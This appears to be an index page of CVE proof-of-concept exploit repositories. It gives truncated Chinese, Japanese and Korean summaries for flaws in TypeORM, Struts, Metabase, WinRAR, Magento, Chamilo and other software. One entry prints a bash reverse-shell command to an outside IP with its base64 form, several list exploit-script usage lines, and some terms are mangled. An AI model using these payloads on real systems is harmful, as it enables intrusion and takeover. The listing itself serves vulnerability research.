CVE-2020-8158

CVE-2020-8158：TypeORM 原型污染漏洞 概述 这是一个概念验证（PoC），演示了 CVE-2020-8158，即 TypeORM 0.2.25 以下版本中存在的一个严重原型污染漏洞。 漏洞详情 CVE ID ：CVE-2020-8158 CVSS 评分 ：9.8（严重） 受影响软件包 ：TypeORM = 0.2.25） package.json - 依赖项 设置说明 有关详细的设置和漏洞利用说明，请参阅 SETUP.md。 缓解措施 将 TypeORM 升级到 0.2.25 或更高版本 验证并清理所有用户输入 使用输入验证库来阻止原型污染尝试 考虑对关键对象使用...

CVE-2018-11776-FIS

CVE-2018-11776 は、Web アプリケーション開発で広く使われているフレームワークである Apache Struts のセキュリティ脆弱性です。この脆弱性により、攻撃者は HTTP リクエストのデータフィールドに悪意のあるコードを挿入することで、リモートから攻撃を実行できます。この脆弱性は世界中のサイバー攻撃で広く悪用され、多くの組織や個人に大きな損害をもたらしました。 原因: CVE-2018-11776 は、Apache Struts で条件式を処理するために使用される OGNL（Object-Graph Navigation...

CVE-2023-38646

CVE-2023-38646 元のスクリプトはsecurezeronから取得しました。 テスト中に、このPoCが生成するリバースシェルはbase6エンコード後に末尾の'='文字が原因で悪用に失敗することがわかりました。それを少し修正してこの問題を解決しました。 root@kitploit: 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=...

CVE-2024-25153

CVE-2024-25153 のエクスプロイト 目次 クリックして表示 1. はじめに 2. インストール 3. 使用方法 4. コントリビュート 5. ライセンス はじめに CVE-2024-25153 エクスプロイトへようこそ！このプロジェクトは、CVE-2024-25153 の脆弱性を悪用し、Fortra FileCatalyst Workflow 上でリモートからコードを実行するためのソリューションです。 インストール クリックして表示 お使いのマシンに CVE-2024-25153 エクスプロイトをインストールする手順は次のとおりです： root@kitploit: git...

CVE-2023-1521

PoC root@kitploit: gcc -shared -o libpoc.so poc.c -fPIC export LDPRELOAD=fullpathtolibpoc.so sccache gcc foo.c -o foo...

CVE-2023-36844

CVE-2023-36844 "Juniper JunOS 내 SRX 및 EX 시리즈 제품의 원격 코드 실행" 취약점은 공격자가 JunOS 소프트웨어를 실행하는 대상 Juniper 장치에서 임의의 코드를 실행할 수 있는 보안 문제입니다. 이 취약점은 영향을 받는 장치의 손상으로 이어질 수 있으며, 해당 장치가 속한 네트워크에 심각한 보안 위험을 초래할 수 있습니다. 스크린샷 요구 사항 Python3.7+ 지원 OS Linuxer Wingays 시작하기 root@kitploit: $ git clone...

PS-2018-002---CVE-2018-14442

Foxit Reader - CPDFParser::mpCryptoHandler - Use After Free - RCE 脆弱性 解放されたメモリを参照すると、プログラムがクラッシュしたり、予期しない値を使用したり、コードを実行したりする可能性があります。 脆弱性の説明 この脆弱性により、リモートの攻撃者は、脆弱性の影響を受ける Foxit Reader のインストール環境上で任意のコードを実行できる可能性があります。この脆弱性を悪用するにはユーザーの操作が必要であり、標的となるユーザーが悪意のあるページにアクセスするか、悪意のあるファイルを開く必要があります。...

CVE-2024-57175

CVE-2024-57175: PHPGURUKUL Online Birth Certificate System v1.0 における格納型クロスサイトスクリプティング（XSS） 説明 PHPGURUKUL Online Birth Certificate System v1.0 の /user/certificate-form.php ページに格納型クロスサイトスクリプティング（XSS）の脆弱性が確認されました。この脆弱性により、認証されたユーザーはプロフィール名フィールドに悪意のあるXSSスクリプトを注入でき、クライアント側でコードが実行される可能性があります。 再現手順（PoC）...

Detailed-Analysis-and-Mitigation-Strategies-for-CVE-2024-38124-and-CVE-2024-43468

CVE-2024-38124 および CVE-2024-43468 の詳細分析と緩和戦略 CVE-2024-38124 および CVE-2024-43468 の詳細分析と スクリプト緩和戦略 CVE-2024-38124: Windows Netlogon 技術的な悪用のコンテキスト: 実際のシナリオでは、ネットワークにアクセスできる攻撃者は、特別に細工された Netlogon メッセージをドメインコントローラーに送信することで CVE-2024-38124...

Exploit_CVE-2019-17558-RCE

ExploitCVE-2019-17558-RCE Apache Solr 1.4 インジェクションでシェルを取得 url、postrequest、getrequest をエンコードする...

CVE-2025-63406-PoC

CVE-2025-63406 PoC インストール root@kitploit: Install dependencies pip install -r requirements.txt Or use a virtual environment python3 -m venv venv source venv/bin/activate On Windows: venv\Scripts\activate pip install -r requirements.txt 使い方 root@kitploit: python3 CVE-2025-63406.py -u -n -p -c 引数 -u...

Ashwesker-CVE-2025-52691

🚨 CVE-2025-52691 — 深刻なSmarterMailの脆弱性 ステータス: 🔥 重大 — 直ちに対処が必要 CVSS v3.1 スコア: 10.0 / 10 公開日: 2025年12月29日〜30日 🧩 脆弱性の概要 CVE-2025-52691 は、SmarterTools SmarterMail Server に影響を及ぼす重大な、認証不要の任意ファイルアップロード脆弱性 です。 悪用されると、リモートコード実行（RCE） およびサーバー完全乗っ取り に直接つながる可能性があります。 🎯 主な技術的詳細...

CVE-2025-55182-POC

CVE-2025-55182 / CVE-2025-66478 脆弱性再現環境 これは React2Shell CVE-2025-55182 および Next.js RSC RCE CVE-2025-66478 の脆弱性を再現するための最小限の MVP です。 ⚠️ 警告 このプロジェクトはセキュリティ研究および教育目的のみに使用してください。本番環境や許可のないシステムでは使用しないでください。 脆弱性の概要 CVE-2025-55182 は React Server Components における深刻な脆弱性であり、以下に影響します： React : 19.0.0, 19.1.0,...

HTTP-Request-for-PHP-object-injection-attack-on-CVE-2023-41892

이러한 유형의 공격은 PHP 애플리케이션의 역직렬화 프로세스를 악용하여 임의 코드를 실행하거나 서버에서 의도하지 않은 작업을 수행하려고 시도합니다. 완화 전략 PHP 객체 주입 및 유사한 공격으로부터 방어하려면 다음 전략을 고려하세요: PHP 객체 역직렬화 비활성화: 사용자 제어 입력에 대해 unserialize 사용을 피하세요. 이는 본질적으로 안전하지 않습니다. JSON 직렬화 사용: 데이터 구조를 교환할 때 PHP 직렬화 대신 JSON 인코딩/디코딩jsonencode/jsondecode을 사용하세요. 입력 정제 및 검증:...

CVE-2024-50972

CVE-2024-50972 설명 Itsourcecode Construction Management System 1.0의 printtool.php에서 발견된 SQL 삽입 취약점으로, 원격 공격자가 borrowid 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다. 취약점 유형 SQL 삽입 제품 공급업체 Itsourcecode 영향을 받는 제품 코드 베이스:...

CVE-2014-6271

Shellshock 취약점 검사기 이 스크립트는 웹사이트가 Shellshock 취약점CVE-2014-6271에 취약한지 확인합니다. 요약: Shellshock 취약점Bashdoor라고도 알려짐은 2014년 9월 Unix Bash 셸에서 발견된 보안 결함입니다. 이 취약점은 Bash가 환경 변수를 처리하는 방식의 결함을 악용하여 공격자가 시스템에서 임의의 코드나 명령을 실행할 수 있게 합니다. 이로 인해 공격자는 취약한 시스템에 대한 완전한 제어권을 얻을 수 있습니다. 사용법: 스크립트를 사용하려면 확인하려는 사이트의 도메인 또...

Magento-eCommerce-RCE-CVE-2015-1397

Magento Shoplift Exploit SUPEE-5344 - CVE-2015-1397 概要 このスクリプトは、MagentoのCVE-2015-1397 脆弱性（通称Magento Shopliftエクスプロイト）を悪用します。SQLペイロードを注入することで、Magentoデータベースに新しい管理者ユーザーを作成できます。 元々はManish Kishan Tanwar error1046 によってPythonで記述されましたが、このバージョンはDivine Clown 0xDTC によってBash に変換され、認証情報を対話的に入力できるプロンプトを備えています。 ...

CVE-2025-8088-Exploit

CVE-2025-8088 WinRARエクスプロイト 🔓 WinRARの脆弱性（CVE-2025-8088）の概念実証エクスプロイトで、バージョン7.12以下に影響します。このツールは、悪意のあるRARアーカイブを作成し、ペイロードを代替データストリーム（ADS）にパストラバーサルを伴って埋め込み、任意のコード実行につながる可能性があります。 他の多くのエクスプロイトの問題点は、複数のADSストリームを埋め込んでおらず、正しいパストラバーサルを偶然見つけるか、正確なユーザー名/展開ディレクトリを知っている必要があることです。 🚀 動作の仕組み 1. おとりのドキュメント作成 📄 -...

CVE-2022-29078

CVE-2022-29078 | EJS SSTI → RCE ホワイトハットスクール 第4期 32班 - 우상범 @taka3636 概要 EJS Hello のように、HTML内にタグでJavaScriptを埋め込み、動的な画面を生成します。内部的には、EJSはテンプレート文字列をJavaScript関数にコンパイルした後、実行して最終的なHTMLを生成します。つまり、「文字（テンプレート）を実行コード（関数）に変換する」コードジェネレーターであり、この性質が本脆弱性の根本的な背景となっています。 CVE-2022-29078の紹介 EJS 3.1.7 は、レンダリングオプション...

CVE-2023-4220

CVE-2023-4220 の概念実証エクスプロイト 影響を受ける製品 : Chamilo = 1.11.24 この CVE は、Chamilo 1.11.24 以前における認証なしファイルアップロードの脆弱性を悪用するものです。 攻撃者は制限なしに PHP ファイルをアップロードでき、RCE に至ります。 使用方法 root@kitploit: python3 exploit.py -u URL -c COMMAND...